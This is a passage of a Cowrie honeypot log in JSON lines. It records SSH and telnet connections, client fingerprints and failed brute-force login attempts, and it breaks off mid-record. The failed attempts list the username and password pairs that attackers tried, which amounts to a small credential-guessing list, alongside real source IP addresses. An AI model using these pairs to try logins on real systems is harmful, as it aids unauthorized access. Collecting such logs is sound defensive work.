{"eventid":"cowrie.login.failed","username":"root","password":"celsius456","message":"login attempt [root/celsius456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:12:23.701962Z","src_ip":"194.36.147.215","session":"113a35bea8d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:12:24.794191Z","src_ip":"194.36.147.215","session":"113a35bea8d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":42334,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfc56abe6d2c","protocol":"ssh","message":"New connection: 91.92.40.176:42334 (10.17.0.5:22) [session: dfc56abe6d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:12:35.541708Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:12:35.623001Z","src_ip":"91.92.40.176","session":"dfc56abe6d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56262,"dst_ip":"10.17.0.5","dst_port":22,"session":"0395541c65c3","protocol":"ssh","message":"New connection: 194.59.206.2:56262 (10.17.0.5:22) [session: 0395541c65c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:20.076684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:20.081211Z","src_ip":"194.59.206.2","session":"0395541c65c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:20.163048Z","src_ip":"194.59.206.2","session":"0395541c65c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:20.329393Z","src_ip":"194.59.206.2","session":"0395541c65c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":34386,"dst_ip":"10.17.0.5","dst_port":22,"session":"c028ef976fae","protocol":"ssh","message":"New connection: 166.62.89.133:34386 (10.17.0.5:22) [session: c028ef976fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:21.562802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:21.565837Z","src_ip":"166.62.89.133","session":"c028ef976fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:21.632496Z","src_ip":"166.62.89.133","session":"c028ef976fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N0t$Tr0ng@P@ss","message":"login attempt [root/N0t$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:21.828323Z","src_ip":"166.62.89.133","session":"c028ef976fae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:22.895814Z","src_ip":"166.62.89.133","session":"c028ef976fae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":57456,"dst_ip":"159.203.135.109","dst_port":22,"session":"e694280cd27c","protocol":"ssh","message":"New connection: 109.237.96.109:57456 (159.203.135.109:22) [session: e694280cd27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:34.582877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:34.586640Z","src_ip":"109.237.96.109","session":"e694280cd27c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:34.675134Z","src_ip":"109.237.96.109","session":"e694280cd27c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07011982","message":"login attempt [root/07011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:34.942395Z","src_ip":"109.237.96.109","session":"e694280cd27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:36.033669Z","src_ip":"109.237.96.109","session":"e694280cd27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":41276,"dst_ip":"159.203.135.109","dst_port":22,"session":"7968345fc57e","protocol":"ssh","message":"New connection: 159.65.58.200:41276 (159.203.135.109:22) [session: 7968345fc57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:53.093142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:53.406231Z","src_ip":"159.65.58.200","session":"7968345fc57e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:53.408747Z","src_ip":"159.65.58.200","session":"7968345fc57e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smagina","password":"123456","message":"login attempt [smagina/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:54.817924Z","src_ip":"159.65.58.200","session":"7968345fc57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:56.015567Z","src_ip":"159.65.58.200","session":"7968345fc57e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:56.021025Z","src_ip":"94.26.88.19","session":"4fdde593f16f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.26832938194275,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:13:56.031483Z","src_ip":"94.26.88.19","session":"4fdde593f16f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":48696,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bdc84491338","protocol":"ssh","message":"New connection: 103.77.242.62:48696 (159.203.135.109:22) [session: 8bdc84491338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:03.570937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:03.573676Z","src_ip":"103.77.242.62","session":"8bdc84491338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:03.811752Z","src_ip":"103.77.242.62","session":"8bdc84491338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karina06","message":"login attempt [root/karina06] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:04.528527Z","src_ip":"103.77.242.62","session":"8bdc84491338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:05.769307Z","src_ip":"103.77.242.62","session":"8bdc84491338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":53302,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3f9fa5b406c","protocol":"telnet","message":"New connection: 94.23.66.112:53302 (10.17.0.5:23) [session: e3f9fa5b406c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:43.434943Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":54670,"dst_ip":"10.17.0.5","dst_port":22,"session":"8deff2fae1ba","protocol":"ssh","message":"New connection: 144.91.108.61:54670 (10.17.0.5:22) [session: 8deff2fae1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:47.321107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:47.324373Z","src_ip":"144.91.108.61","session":"8deff2fae1ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:47.415544Z","src_ip":"144.91.108.61","session":"8deff2fae1ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kualalumpur_crypto","password":"kualalumpur123","message":"login attempt [kualalumpur_crypto/kualalumpur123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:47.694156Z","src_ip":"144.91.108.61","session":"8deff2fae1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:14:48.789145Z","src_ip":"144.91.108.61","session":"8deff2fae1ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":41752,"dst_ip":"159.203.135.109","dst_port":22,"session":"3553859ea4c5","protocol":"ssh","message":"New connection: 132.148.142.226:41752 (159.203.135.109:22) [session: 3553859ea4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:06.398488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:06.401458Z","src_ip":"132.148.142.226","session":"3553859ea4c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:06.490226Z","src_ip":"132.148.142.226","session":"3553859ea4c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zcashwallet","password":"zcash123","message":"login attempt [zcashwallet/zcash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:06.687991Z","src_ip":"132.148.142.226","session":"3553859ea4c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:07.756013Z","src_ip":"132.148.142.226","session":"3553859ea4c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":34824,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf24b6261e99","protocol":"ssh","message":"New connection: 177.76.134.52:34824 (10.17.0.5:22) [session: cf24b6261e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:21.204100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:21.264742Z","src_ip":"177.76.134.52","session":"cf24b6261e99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 